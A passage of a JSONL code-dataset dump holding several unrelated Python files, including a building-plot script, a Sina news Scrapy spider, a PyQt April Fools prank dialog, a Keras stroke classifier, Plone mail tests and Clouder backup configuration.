plt\nimport matplotlib.patches as patches\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('path', type=str, action='store', help='Path to data folder')\nparser.add_argument('basename', type=str, action='store', help='Basename')\nargs = parser.parse_args()\n\nbasename = args.basename\nfilenames = [\"_home_buildings.csv\", \"_office_buildings.csv\"]\npath = args.path\n\nplt.cla()\nfor filename in filenames:\n with open(path + basename + filename, 'rt') as file:\n file.readline()\n for line in file:\n line = line.replace(',', '.')\n data = line.split(' ')\n color = 'red'\n if \"home\" in filename:\n color = 'green'\n rect = patches.Rectangle((float(data[1]), float(data[4])),\n float(data[3]) - float(data[1]), float(data[2]) - float(data[4]),\n color=color, fill=True, alpha=1)\n ax = plt.gca()\n ax.add_patch(rect)\n file.close()\n\nwith open(path + basename + \"_road_network.dat\", 'rt') as file:\n file.readline()\n x = []\n y = []\n wayId = -1\n for line in file:\n line = line.replace(',', '.')\n data = line.split(' ')\n if wayId == -1:\n wayId = int(data[0])\n if int(data[0]) != wayId:\n plt.plot(x, y, '-', color='lightgrey')\n x = []\n y = []\n wayId = int(data[0])\n x.append(float(data[1]))\n y.append(float(data[2]))\n file.close()\n\nplt.xlabel(\"X\")\nplt.ylabel(\"Y\")\nname = basename + \"_buildings\"\nplt.title(name)\nplt.savefig(name + \".pdf\")\nplt.show()","sub_path":"scripts/drawBuildings.py","file_name":"drawBuildings.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"318981384","text":"# -*- coding=utf8 -*-\r\nfrom scrapy.spiders import CrawlSpider, Rule\r\nfrom scrapy.linkextractors import LinkExtractor\r\n\r\nfrom news.items import NewsItem\r\n\r\nclass NewsSpider(CrawlSpider):\r\n name = 'sinanews'\r\n allowed_domains=['sina.com.cn']\r\n start_urls = []\r\n #for i in xrange(310, 0, -1):\r\n #start_urls.append('http://roll.news.sina.com.cn/s/channel.php?ch=01#col=89&spec=&type=&ch=01&k=&offset_page=0&offset_num=0&num=60&asc=&page=' + str(i))\r\n #start_urls = ['http://roll.news.sina.com.cn/s/channel.php?ch=01#col=89&spec=&type=&date=2015-06-01&ch=01&k=&offset_page=0&offset_num=0&num=10000&asc=&page=1']\r\n start_urls = ['http://roll.news.sina.com.cn/interface/rollnews_ch_out_interface.php?col=89&spec=&type=&ch=01&k=&offset_page=0&offset_num=0&num=80&asc=&page=233']\r\n \r\n rules = [Rule(LinkExtractor(allow = '/.+/.*\\d+.s?html', deny = '/.+/v/.+/\\d+.s?html'), 'parse_news'),\r\n Rule(LinkExtractor(restrict_xpaths = u\"//a[@title='下一页']\"), callback = 'parse_next')]\r\n\r\n def parse_news(self, response):\r\n news = NewsItem()\r\n\r\n news['url'] = response.url\r\n\r\n temp = response.xpath(\"//h1[@id='artibodyTitle']//text()\").extract()\r\n news['title'] = temp[0] if temp else ''\r\n\r\n temp = response.xpath(\"//span[@id='media_name']//a//text()\").extract()\r\n news['source'] = temp[0] if temp else ''\r\n if news['source'] == '':\r\n temp = response.xpath(\"//span[@data-sudaclick='media_name']//a//text()\").extract()\r\n news['source'] = temp[0] if temp else ''\r\n\r\n temp = response.xpath(\"//span[@id='pub_date']//text()\").extract()\r\n news['public_time'] = temp[0] if temp else ''\r\n if news['public_time'] == '':\r\n temp = response.xpath(\"//span[@class='time-source']//text()\").extract()\r\n news['public_time'] = temp[0] if temp else ''\r\n if news['public_time'] != '':\r\n news['public_time'] = self.get_datetime(news['public_time'])\r\n\r\n temp = response.xpath(\"//div[@id='artibody']//p//text()\").extract()\r\n news['content'] = '\\n'.join(temp) if temp else ''\r\n\r\n cat = response.url.split('//')[1].split('.')[0]\r\n sub_cat = response.url.split('//')[1].split('/')[1]\r\n news['category'] = self.get_category(cat, sub_cat)\r\n\r\n return news\r\n\r\n def parse_next(self, response):\r\n return self.make_requests_from_url(response.url)\r\n\r\n def get_datetime(self, datetime):\r\n datetime = datetime.encode('utf8').strip()\r\n elems = datetime.split('年')\r\n YY = elems[0]\r\n elems = elems[1].split('月')\r\n MM = elems[0]\r\n elems = elems[1].split('日')\r\n dd = elems[0]\r\n elems = elems[1].split(':')\r\n hh = elems[0]\r\n mm = elems[1]\r\n ss = '00'\r\n return YY + '-' + MM + '-' + dd + ' ' + hh + ':' + mm + ':' + ss\r\n\r\n def get_category(self, cat, sub_cat):\r\n ret = ''\r\n if cat == 'tech':\r\n if sub_cat == 'i':\r\n ret = '互联网'\r\n if sub_cat == 't':\r\n ret = '电信'\r\n if sub_cat == 'it':\r\n ret = 'IT'\r\n if sub_cat == 'mobile':\r\n ret = '手机'\r\n if sub_cat == 'digi':\r\n ret = '数码'\r\n if sub_cat == 'e':\r\n ret = '家电'\r\n else:\r\n ret = '科技'\r\n elif cat == 'mil':\r\n ret = '军事'\r\n elif cat == 'finance':\r\n if sub_cat == 'stock':\r\n ret = '股票'\r\n else:\r\n ret = '财经'\r\n elif cat == 'sports':\r\n if sub_cat == 'nba':\r\n ret = 'NBA'\r\n elif sub_cat == 'cba':\r\n ret = 'CBA'\r\n elif sub_cat == 'g':\r\n ret = '国际足球'\r\n elif sub_cat == 'china':\r\n ret = '国内足球'\r\n elif sub_cat == 'o' or sub_cat == 'others':\r\n ret = '综合体育'\r\n elif sub_cat == 't':\r\n ret = '网球'\r\n elif sub_cat == 'go':\r\n ret = '棋牌'\r\n elif sub_cat == 'golf':\r\n ret = '高尔夫'\r\n elif sub_cat == 'l':\r\n ret = '彩票'\r\n elif sub_cat == 'f1':\r\n ret = 'F1赛车'\r\n elif sub_cat == 'outdoor':\r\n ret = '户外'\r\n else:\r\n ret = '体育'\r\n elif cat == 'ent':\r\n if sub_cat == 'm':\r\n ret = '电影'\r\n if sub_cat == 's':\r\n ret = '明星'\r\n if sub_cat == 'v' or sub_cat == 'tv':\r\n ret = '电视'\r\n if sub_cat == 'y':\r\n ret = '音乐'\r\n if sub_cat == 'j':\r\n ret = '戏剧'\r\n else:\r\n ret = '娱乐'\r\n elif cat == 'news':\r\n if sub_cat == 'c':\r\n ret = '国内'\r\n elif sub_cat == 'w':\r\n ret = '国际'\r\n elif sub_cat == 's':\r\n ret = '社会'\r\n elif sub_cat == 'media':\r\n ret = '传媒'\r\n elif sub_cat == 'pl':\r\n ret = '评论'\r\n else:\r\n ret = '其他'\r\n elif cat == 'sky':\r\n ret = '航空'\r\n elif cat == 'outdoor':\r\n ret = '户外'\r\n elif cat == 'fashion':\r\n ret = '时尚'\r\n elif cat == 'eladies':\r\n ret = '女性'\r\n elif cat == 'health':\r\n ret = '健康'\r\n elif cat == 'collection':\r\n ret = '收藏'\r\n elif cat == 'games':\r\n ret = '游戏'\r\n return ret\r\n","sub_path":"python/crawl/crawler/news/news/spiders/newsSpider.py","file_name":"newsSpider.py","file_ext":"py","file_size_in_byte":5760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"300547675","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import QWidget,QApplication,QLabel,QPushButton,QMessageBox\nfrom PyQt5.QtCore import *\nimport random\nimport sys\n\n\n\nclass Ui_Form(QtWidgets.QWidget):\n def __init__(self):\n super().__init__()\n self.setObjectName(\"Form\")\n self.resize(800, 600)\n self.setMinimumSize(QtCore.QSize(800, 600))\n self.setMaximumSize(QtCore.QSize(800, 600))\n self.label = QtWidgets.QLabel(self)\n self.label.setGeometry(QtCore.QRect(180, 70, 430, 50))\n font = QtGui.QFont()\n font.setFamily(\"Arial Rounded MT Bold\")\n font.setPointSize(26)\n font.setBold(False)\n font.setWeight(50)\n self.label.setFont(font)\n self.label.setStyleSheet(\"background-color: rgb(255, 0, 0);\\n\"\n\"color: rgb(255, 255, 0);\")\n self.label.setObjectName(\"label\")\n self.pushButton = QtWidgets.QPushButton(self)\n self.pushButton.setGeometry(QtCore.QRect(330, 230, 93, 28))\n self.pushButton.setStyleSheet(\"color: rgb(255, 85, 0);\")\n self.pushButton.setObjectName(\"pushButton\")\n self.pushButton.clicked.connect(self._True)\n self.pushButton_2 = QtWidgets.QPushButton(self)\n self.pushButton_2.setGeometry(QtCore.QRect(330, 360, 93, 28))\n self.pushButton_2.setStyleSheet(\"color: rgb(255, 85, 0);\")\n self.pushButton_2.setObjectName(\"pushButton_2\")\n self.pushButton_2.installEventFilter(self)\n\n self.retranslateUi()\n QtCore.QMetaObject.connectSlotsByName(self)\n\n def retranslateUi(self):\n _translate = QtCore.QCoreApplication.translate\n self.setWindowTitle(_translate(\"Form\", \"Form\"))\n self.label.setText(_translate(\"Form\", \"你愿意做我女朋友吗?\"))\n self.pushButton.setText(_translate(\"Form\", \"同意\"))\n self.pushButton_2.setText(_translate(\"Form\", \"不同意\"))\n\n\n\n #重写窗口事件过滤器\n def eventFilter(self,object,event):\n if object == self.pushButton_2:\n if event.type() == QEvent.Enter:\n self.Move()\n return QWidget.eventFilter(self,object,event)\n \n #同意时\n def _True(self):\n QMessageBox.information(self,'哈哈',\"愚人节快乐~\")\n sys.exit()\n\n #重写窗口关闭函数\n def closeEvent(self,event):\n reply = QMessageBox.question(self,\"关闭\",\"确定退出么?\",QMessageBox.Yes|QMessageBox.No,QMessageBox.No)\n if reply == QMessageBox.Yes:\n QMessageBox.warning(self, \"呵呵\", \"不同意你跑得了吗~\")\n else:\n QMessageBox.warning(self, \"嗯嗯~\", \"这就对了嘛~\")\n event.ignore()\n\n def Move(self):\n if self.pushButton_2.pos() == QPoint(330,360):\n self.anim = QtCore.QPropertyAnimation(self.pushButton_2,b\"geometry\")\n self.x = random.randint(0,707)\n self.y = random.randint(0,572)\n self.anim.setDuration(100)\n self.anim.setStartValue(QtCore.QRect(330, 360, 93, 28))\n self.anim.setEndValue(QtCore.QRect(self.x, self.y, 93, 28))\n self.anim.setEasingCurve(QEasingCurve.OutCubic)\n self.anim.start()\n elif self.pushButton_2.pos() == QPoint(self.x,self.y):\n self.anim = QtCore.QPropertyAnimation(self.pushButton_2,b\"geometry\")\n self.anim.setDuration(100)\n self.anim.setStartValue(QtCore.QRect(self.x, self.y, 93, 28))\n self.x = random.randint(0,707)\n self.y = random.randint(0,572)\n self.anim.setEndValue(QtCore.QRect(self.x, self.y, 93, 28))\n self.anim.setEasingCurve(QEasingCurve.OutCubic)\n self.anim.start()\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ui = Ui_Form()\n ui.show()\n sys.exit(app.exec_())\n\n","sub_path":"trick_GUI/trick.py","file_name":"trick.py","file_ext":"py","file_size_in_byte":3821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"227319709","text":"import logging\nimport pickle\n\nimport luigi\nimport numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, LSTM, GlobalAveragePooling1D, Bidirectional\nfrom keras.preprocessing import sequence\nfrom keras import optimizers\nimport keras.utils\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nfrom tasks.dataset import ParsePotFile\n\n\nlogger = logging.getLogger(__name__)\n\n\nSTROKE_END = np.array([[0, 0, -1]])\nSEQ_LEN = 80\n\n\nclass Model(luigi.Task):\n train_file = luigi.Parameter()\n test_file = luigi.Parameter()\n test_size = luigi.IntParameter(default=10000)\n\n def requires(self):\n return {\n 'train': ParsePotFile(pot_file=self.train_file),\n 'test': ParsePotFile(pot_file=self.test_file),\n }\n\n def output(self):\n pass\n # return luigi.LocalTarget(os.path.join(DATA_DIR, f'{self.pot_file}_sample.png'))\n\n def run(self):\n with open(self.input()['train']['data'].path, 'rb') as f:\n data = pickle.load(f)\n\n seq_lens = np.array([sum(len(s) for s in d['strokes']) for d in data])\n logger.info(f'data len: {len(data)}')\n logger.info(f'seq lens mean: {seq_lens.mean()}, std: {seq_lens.std()}')\n\n ids = np.arange(len(data), dtype=np.int)\n np.random.shuffle(ids)\n train_ids = ids[:-self.test_size]\n test_ids = ids[-self.test_size:]\n\n all_labels = set(d['label'] for d in data)\n n_labels = len(all_labels)\n logger.info(f'n_classes = {n_labels}, random guess probability = {1 / n_labels:.5f}')\n\n label_to_id = {d: i for i, d in enumerate(all_labels)}\n id_to_label = {i: d for d, i in label_to_id.items()}\n\n x_train = np.stack([self.encode_strokes_const_len(data[i]['strokes'])\n for i in train_ids])\n y_train = keras.utils.to_categorical(\n [label_to_id[data[i]['label']] for i in train_ids],\n num_classes=n_labels)\n\n print(x_train[:2, :, :])\n logger.info(f'train data shape: X - {x_train.shape}, Y - {y_train.shape}')\n\n x_test = np.stack([self.encode_strokes_const_len(data[i]['strokes'])\n for i in test_ids])\n y_test = keras.utils.to_categorical(\n [label_to_id[data[i]['label']] for i in test_ids],\n num_classes=n_labels)\n\n optim = optimizers.Adam(lr=1.e-3)\n\n model = Sequential()\n model.add(Bidirectional(\n LSTM(100, return_sequences=True),\n input_shape=(SEQ_LEN, 3)))\n model.add(Bidirectional(\n LSTM(500, return_sequences=True)))\n model.add(GlobalAveragePooling1D())\n model.add(Dense(200))\n # model.add(Dropout(0.1))\n model.add(Dense(n_labels))\n model.compile(loss='categorical_crossentropy',\n optimizer=optim,\n metrics=['categorical_accuracy',\n 'top_k_categorical_accuracy',\n 'categorical_crossentropy',\n ])\n\n logger.info(model.summary())\n model.fit(x_train, y_train, nb_epoch=5, batch_size=1024)\n\n scores = model.evaluate(x_test, y_test)\n logger.info(f'Test scores: {scores}')\n\n def encode_strokes(self, strokes):\n enc = []\n for i, s in enumerate(strokes):\n enc.append(np.insert(s, 2, i, axis=1))\n return np.concatenate(enc, axis=0)\n\n def encode_strokes_const_len(self, strokes, seq_len=SEQ_LEN):\n seq = self.encode_strokes(strokes)\n l = len(seq)\n if l >= seq_len:\n return seq[:seq_len]\n else:\n return np.concatenate([np.tile(STROKE_END, (seq_len - l, 1)), seq])\n","sub_path":"tasks/obsolete/model3.py","file_name":"model3.py","file_ext":"py","file_size_in_byte":3760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"8458400","text":"from functions import *\nfrom log import *\nfrom conf import *\n\nwait_time=int(config['programconfig']['checktimemins'])*60\nwebsiteurl=config['urls']['siteurl']\n\nff_visible=0\n\nif config['programconfig'].getboolean('hide_ff') == False:\n ff_visible=1\n \n\nwhile True:\n logger.info(\"Started checks\")\n display = Display(visible=ff_visible, size=(800, 600))\n display.start()\n try:\n visiturl(websiteurl)\n except Exception as e:\n logger.exception(e)\n display.stop()\n logger.info(\"Checks ended\")\n time.sleep(wait_time)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"112429348","text":"from project import app\nfrom project.controllers.forms import LogSpendingForm\nfrom project.models.SpendingInstanceFactory import SpendingInstanceFactory\nfrom flask import render_template, redirect, request\nfrom flask_login import login_required, current_user\nfrom flask.views import View\nfrom project import db\nfrom datetime import datetime\nfrom project.models.SpendingType import SpendingType\n\n\nclass SpendingController(View):\n methods = ['GET', 'POST']\n decorators = [login_required]\n\n def dispatch_request(self):\n # Create basic logging form\n \"\"\"\n Handler for adding spending instances. Populates default fields and drop down menus. Withdraws amount from\n specified account, creates a new spending instance.\n\n :return: Template\n \"\"\"\n form = LogSpendingForm(request.form)\n\n # Add account choices to form\n form.account.choices = [(name, name) for name in current_user.account_names]\n\n form.spending_type.choices = [(name.value, name.value) for name in SpendingType]\n if request.method == 'POST' and form.validate_on_submit():\n amount = float(request.form['amount'])\n account_name = request.form['account']\n # Convert to date (not datetime)\n date = datetime.strptime(request.form['date'], '%Y-%m-%d').date()\n description = request.form['description']\n instance_type = request.form['spending_type']\n account = current_user.get_account(account_name)\n\n spending_instance = SpendingInstanceFactory.factory_method(amount,\n account,\n date,\n description,\n instance_type)\n account.withdraw(spending_instance.amount)\n current_user.spending_history.add_spending_instance(spending_instance)\n db.session.commit()\n return redirect('home')\n return render_template('log_spending.html',\n form=form)\n\n\napp.add_url_rule('/spend', view_func=SpendingController.as_view('spend'))\n","sub_path":"project/controllers/SpendingController.py","file_name":"SpendingController.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"597698346","text":"# -*- coding: UTF-8 -*-\n\nfrom email.Message import Message\nfrom zope.component import getUtility, getMultiAdapter, getSiteManager\nfrom zope.component.interfaces import IObjectEvent\nfrom zope.interface import implements\n\nfrom plone.app.contentrules.rule import Rule\nfrom plone.app.contentrules.tests.base import ContentRulesTestCase\nfrom plone.app.contentrules.tests.test_action_mail import DummyEvent\nfrom plone.contentrules.engine.interfaces import IRuleStorage\nfrom plone.contentrules.rule.interfaces import IRuleAction, IExecutable\nfrom collective.contentrules.mailtogroup.actions.mail import MailGroupAction, MailGroupEditForm, MailGroupAddForm\nfrom collective.contentrules.mailtogroup.tests.dummymailhost import DummyMailHost\n\nfrom Products.CMFCore.utils import getToolByName\n\nfrom Products.MailHost.interfaces import IMailHost\n\nfrom Products.PloneTestCase.setup import default_user\n\n\nclass TestMailAction(ContentRulesTestCase):\n\n def afterSetUp(self):\n self.setRoles(('Manager', ))\n self.portal.invokeFactory('Folder', 'target')\n self.folder.invokeFactory('Document', 'd1',\n title=unicode('Wälkommen', 'utf-8'))\n\n # set up default user and portal owner\n member = self.portal.portal_membership.getMemberById(default_user)\n member.setMemberProperties(dict(email=\"default@dummy.org\"))\n member = self.portal.portal_membership.getMemberById('portal_owner')\n member.setMemberProperties(dict(email=\"portal@dummy.org\"))\n\n membership = getToolByName(self.portal, 'portal_membership')\n\n membership.addMember(\n 'member1',\n 'secret',\n ('Member', ),\n (),\n properties={'email': 'member1@dummy.org'})\n\n membership.addMember(\n 'member2',\n 'secret',\n ('Member', ),\n (),\n properties={'email': 'member2@dummy.org'})\n\n # empty e-mail address\n membership.addMember(\n 'member3',\n 'secret',\n ('Member', ),\n (),\n properties={'email': ''})\n\n groups = getToolByName(self.portal, 'portal_groups')\n\n groups.addGroup('group1')\n groups.addPrincipalToGroup('member1', 'group1')\n\n groups.addGroup('group2')\n groups.addPrincipalToGroup('member2', 'group2')\n groups.addPrincipalToGroup('member3', 'group2')\n\n def testRegistered(self):\n element = getUtility(IRuleAction, name='plone.actions.MailGroup')\n self.assertEquals('plone.actions.MailGroup', element.addview)\n self.assertEquals('edit', element.editview)\n self.assertEquals(None, element.for_)\n self.assertEquals(IObjectEvent, element.event)\n\n def testInvokeAddView(self):\n element = getUtility(IRuleAction, name='plone.actions.MailGroup')\n storage = getUtility(IRuleStorage)\n storage[u'foo'] = Rule()\n rule = self.portal.restrictedTraverse('++rule++foo')\n\n adding = getMultiAdapter((rule, self.portal.REQUEST), name='+action')\n addview = getMultiAdapter((adding, self.portal.REQUEST),\n name=element.addview)\n self.failUnless(isinstance(addview, MailGroupAddForm))\n\n addview.createAndAdd(data={'subject': 'My Subject',\n 'source': 'foo@bar.be',\n 'groups': ['group1', 'group2'],\n 'members': [default_user, ],\n 'message': 'Hey, Oh!'})\n\n e = rule.actions[0]\n self.failUnless(isinstance(e, MailGroupAction))\n self.assertEquals('My Subject', e.subject)\n self.assertEquals('foo@bar.be', e.source)\n self.assertEquals(['group1', 'group2'], e.groups)\n self.assertEquals([default_user, ], e.members)\n self.assertEquals('Hey, Oh!', e.message)\n\n def testInvokeEditView(self):\n element = getUtility(IRuleAction, name='plone.actions.MailGroup')\n e = MailGroupAction()\n editview = getMultiAdapter((e, self.folder.REQUEST),\n name=element.editview)\n self.failUnless(isinstance(editview, MailGroupEditForm))\n\n def testExecute(self):\n self.loginAsPortalOwner()\n sm = getSiteManager(self.portal)\n sm.unregisterUtility(provided=IMailHost)\n dummyMailHost = DummyMailHost('dMailhost')\n sm.registerUtility(dummyMailHost, IMailHost)\n e = MailGroupAction()\n e.source = \"foo@bar.be\"\n e.groups = ['group1', ]\n e.message = u\"Päge '${title}' created in ${url} !\"\n ex = getMultiAdapter((self.folder, e, DummyEvent(self.folder.d1)),\n IExecutable)\n ex()\n self.failUnless(isinstance(dummyMailHost.sent[0]['msg'], Message))\n mailSent = dummyMailHost.sent[0]['msg']\n self.assertTrue(mailSent.get('Content-Type').startswith('multipart/related'))\n self.assertEqual(None, mailSent.get('To'))\n self.assertEqual(\"foo@bar.be\", mailSent.get('From'))\n self.assertIn(\"P=C3=A4ge \\'W=C3=A4lkommen\\' created in http://nohost/plone/Members/test_user=\\n_1_/d1\",\n str(mailSent.get_payload()[0]))\n\n def testExecuteNoSource(self):\n self.loginAsPortalOwner()\n sm = getSiteManager(self.portal)\n sm.unregisterUtility(provided=IMailHost)\n dummyMailHost = DummyMailHost('dMailhost')\n sm.registerUtility(dummyMailHost, IMailHost)\n e = MailGroupAction()\n e.groups = ['group1', ]\n e.message = 'Document created !'\n ex = getMultiAdapter((self.folder, e, DummyEvent(self.folder.d1)),\n IExecutable)\n self.assertRaises(ValueError, ex)\n # if we provide a site mail address this won't fail anymore\n sm.manage_changeProperties({'email_from_address': 'manager@portal.be'})\n ex()\n self.failUnless(isinstance(dummyMailHost.sent[0]['msg'], Message))\n\n mailSent = dummyMailHost.sent[0]['msg']\n mailTo = dummyMailHost.sent[0]['mto']\n mailFrom = dummyMailHost.sent[0]['mfrom']\n\n self.assertTrue(mailSent.get('Content-Type').startswith('multipart/related'))\n self.assertIn(\"member1@dummy.org\", mailTo)\n self.assertIn(\"manager@portal.be\", mailFrom)\n self.assertIn('Document created !', str(mailSent))\n\n def testExecuteMultiGroupsAndUsers(self):\n self.loginAsPortalOwner()\n sm = getSiteManager(self.portal)\n sm.unregisterUtility(provided=IMailHost)\n\n dummyMailHost = DummyMailHost('dMailhost')\n sm.registerUtility(dummyMailHost, IMailHost)\n\n e = MailGroupAction()\n e.source = \"foo@bar.be\"\n e.groups = ['group1', 'group2']\n e.members = ['portal_owner', default_user, ]\n e.message = 'Document created !'\n ex = getMultiAdapter((self.folder, e, DummyEvent(self.folder.d1)),\n IExecutable)\n ex()\n\n self.assertEqual(len(dummyMailHost.sent[0]['mto']), 4)\n self.failUnless(isinstance(dummyMailHost.sent[0]['msg'], Message))\n\n mailSent = dummyMailHost.sent[0]['msg']\n mailTo = dummyMailHost.sent[0]['mto']\n mailFrom = dummyMailHost.sent[0]['mfrom']\n self.assertTrue(mailSent.get('Content-Type').startswith('multipart/related'))\n\n self.assertEqual('foo@bar.be', mailFrom)\n self.assertIn('default@dummy.org', mailTo)\n self.assertIn('portal@dummy.org', mailTo)\n self.assertIn('member1@dummy.org', mailTo)\n self.assertIn('member2@dummy.org', mailTo)\n self.assertIn('Document created !', str(mailSent))\n\n\ndef test_suite():\n from unittest import TestSuite, makeSuite\n suite = TestSuite()\n suite.addTest(makeSuite(TestMailAction))\n return suite\n","sub_path":"collective/contentrules/mailtogroup/tests/test_action_mail_to_group.py","file_name":"test_action_mail_to_group.py","file_ext":"py","file_size_in_byte":7820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"599245779","text":"\"\"\"\napplication data generator\n\n:author: gexuewen\n:date: 2020/01/02\n\"\"\"\nimport random\n\nfrom django.utils.crypto import get_random_string\n\nfrom student.models import ApplicationInformation\n\n\ndef get_application_data():\n \"\"\"\n generate application data\n\n :author: gexuewen\n :date: 2020/01/02\n\n :modify by lishanZheng\n :data: 2020/01/06\n \"\"\"\n application_data = {\n 'accept_absence': random.randint(0, 1),\n 'reason_application': 'application_' + get_random_string(),\n 'contribution_for_us': 'contribution_' + get_random_string(),\n 'way': 'wx'\n }\n return application_data\n\n\ndef get_application_information():\n \"\"\"\n 生成一个申请资料\n\n :author: lishanZheng\n :date: 2020/01/06\n \"\"\"\n application_information_data = get_application_data()\n application = ApplicationInformation.objects.create(**application_information_data)\n return application\n","sub_path":"student/test/generate/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"413473167","text":"# -*- coding: utf-8 -*-\n# #############################################################################\n#\n# Author: Yannick Buron\n# Copyright 2013 Yannick Buron\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n##############################################################################\n\n\nfrom openerp import models, fields, api, _\nfrom openerp.exceptions import except_orm\nimport re\n\nfrom datetime import datetime\n\nimport logging\n\n_logger = logging.getLogger(__name__)\n\n\nclass ClouderConfigBackupMethod(models.Model):\n _name = 'clouder.config.backup.method'\n _description = 'Backup Method'\n\n name = fields.Char('Name', size=64, required=True)\n\n\nclass ClouderConfigSettings(models.Model):\n _name = 'clouder.config.settings'\n _description = 'Clouder configuration'\n\n name = fields.Char('Name', size=64)\n email_sysadmin = fields.Char('Email SysAdmin', size=128)\n end_reset_keys = fields.Datetime('Last Reset Keys ended at')\n end_save_all = fields.Datetime('Last Save All ended at')\n end_reset_bases = fields.Datetime('Last Reset Bases ended at')\n\n @property\n def now_date(self):\n return self.env['clouder.model'].now_date\n\n @property\n def now_hour_regular(self):\n return self.env['clouder.model'].now_hour_regular\n\n # @api.multi\n # def get_vals(self):\n # config = self.env.ref('clouder.clouder_settings')\n #\n # vals = {}\n #\n # if not config.email_sysadmin:\n # raise except_orm(_('Data error!'),\n # _(\"You need to specify the sysadmin email in configuration\"))\n #\n #\n # now = datetime.now()\n # vals.update({\n # 'config_email_sysadmin': config.email_sysadmin,\n # 'config_archive_path': '/opt/archives',\n # 'config_services_hostpath': '/opt/services',\n # 'config_home_directory': expanduser(\"~\"),\n # 'now_date': now.strftime(\"%Y-%m-%d\"),\n # 'now_hour': now.strftime(\"%H-%M\"),\n # 'now_hour_regular': now.strftime(\"%H:%M:%S\"),\n # 'now_bup': now.strftime(\"%Y-%m-%d-%H%M%S\"),\n # })\n # return vals\n\n @api.one\n @api.constrains('email_sysadmin')\n def _validate_data(self):\n if self.email_sysadmin \\\n and not re.match(\"^[\\w\\d_.@-]*$\", self.email_sysadmin):\n raise except_orm(_('Data error!'), _(\n \"Sysadmin email can only contains letters, \"\n \"digits, underscore, - and @\"))\n\n @api.multi\n def reset_keys(self):\n\n containers = self.env['clouder.container'].search([])\n if containers:\n containers.deploy_key()\n\n now = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n self.env.ref('clouder.clouder_settings').end_reset_keys = now\n self.env.cr.commit()\n\n @api.multi\n def save_all(self):\n self = self.with_context(save_comment='Save before upload_save')\n\n backups = self.env['clouder.container'].search(\n [('application_id.type_id.name', '=', 'backup')])\n for backup in backups:\n vals = backup.get_vals()\n ssh = backup.connect(vals['container_fullname'],\n username='backup')\n backup.execute(ssh,\n ['export BUP_DIR=/opt/backup/bup;', 'bup', 'fsck',\n '-r'])\n #http://stackoverflow.com/questions/1904860/how-to-remove-unreferenced-blobs-from-my-git-repo\n #https://github.com/zoranzaric/bup/tree/tmp/gc/Documentation\n #https://groups.google.com/forum/#!topic/bup-list/uvPifF_tUVs\n backup.execute(ssh, ['git', 'gc', '--prune=now'],\n path='/opt/backup/bup')\n backup.execute(ssh,\n ['export BUP_DIR=/opt/backup/bup;', 'bup', 'fsck',\n '-g'])\n ssh.close()\n\n containers = self.env['clouder.container'].search(\n [('nosave', '=', False)])\n if containers:\n containers.save()\n\n bases = self.env['clouder.base'].search([('nosave', '=', False)])\n if bases:\n bases.save()\n\n links = self.env['clouder.container.link'].search(\n [('container_id.application_id.type_id.name', '=', 'backup'),\n ('name.application_id.code', '=', 'backup-upl')])\n for link in links:\n link.deploy()\n\n now = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n self.env.ref('clouder.clouder_settings').end_save_all = now\n self.env.cr.commit()\n\n @api.multi\n def purge_expired_saves(self):\n self.env['clouder.save.repository'].search(\n [('date_expiration', '!=', False),\n ('date_expiration', '<', self.now_date)]).unlink()\n self.env['clouder.save.save'].search([('date_expiration', '!=', False),\n ('date_expiration', '<',\n self.now_date)]).unlink()\n\n @api.multi\n def purge_expired_logs(self):\n self.env['clouder.log'].search([('expiration_date', '!=', False), (\n 'expiration_date', '<', self.now_date)]).unlink()\n\n @api.multi\n def launch_next_saves(self):\n self = self.with_context(save_comment='Auto save')\n containers = self.env['clouder.container'].search([\n ('date_next_save', '!=', False),\n ('date_next_save', '<',\n self.now_date + ' ' + self.now_hour_regular)])\n if containers:\n containers.save()\n bases = self.env['clouder.base'].search([\n ('date_next_save', '!=', False),\n ('date_next_save', '<',\n self.now_date + ' ' + self.now_hour_regular)])\n if bases:\n bases.save()\n\n @api.multi\n def reset_bases(self):\n bases = self.env['clouder.base'].search(\n [('reset_each_day', '=', True)])\n for base in bases:\n if base.parent_id:\n base.reset_base()\n else:\n bases.reinstall()\n\n now = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n self.env.ref('clouder.clouder_settings').end_reset_bases = now\n self.env.cr.commit()\n\n @api.multi\n def cron_daily(self):\n self.reset_keys()\n self.purge_expired_saves()\n self.purge_expired_logs()\n self.save_all()\n self.reset_bases()\n return True\n\n","sub_path":"clouder/clouder_config.py","file_name":"clouder_config.py","file_ext":"py","file_size_in_byte":7089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"190933624","text":"from 